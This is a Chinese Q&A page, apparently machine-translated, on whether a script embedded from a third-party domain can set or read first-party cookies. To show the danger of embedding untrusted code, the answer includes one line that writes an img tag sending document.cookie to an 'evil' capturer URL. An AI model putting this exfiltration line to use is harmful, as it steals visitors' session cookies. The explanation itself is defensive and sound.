第三方脚本是否可以设置第一方cookie

Can a third-party script set a first-party cookie?

本文关键字:一方 cookie 是否 脚本 设置 第三方      更新时间:2023-09-26

我在网上读到了很多关于cookie的内容,但没有解决这个问题:假设我在a.com上有一个服务器,b.com提供的网页在我的服务器上嵌入了一个脚本:

<script src='a.com/script.js'></script>

在设置cookie方面,该脚本可以做什么?它能用domain=a.com设置cookie吗?我认为是这样,因为脚本是从那个域提供的。由于页面是从该服务器提供的,它是否也可以用domain=b.com设置cookie?

我试图弄清楚"第一方"answers"第三方"在另一位主持人的网页上调用的脚本中的含义。

我不认为.js文件的来源是相关的。cookie域与正在呈现的文档的域有关。

如果我访问http://www.b.com/并且它包括

<script src="http://www.a.com/some/file.js"></script>

那么,b.com相信a.com的准则会真诚行事。代码作为正在查看的页面的一部分执行。由于javascript代码将在浏览器中执行,因此它可以从b.com读取cookie,并通过在文档中创建一个标记来传递数据,src包含这些数据。

例如,如果.com的javascript文件包含

document.writeln("<img src='http://www.a.com/evil/data/capturer?" + document.cookie + "'>");

然后,恶意的a.com网站管理员可以查看他的网络服务器日志并查看b.com的cookie。

所以,问题是,如果a.com是恶意的,为什么b.com在他们的页面中包含a.com的代码?他们可能没有。作为网络开发人员,我们需要验证我们在网站中嵌入的任何第三方代码的可信度。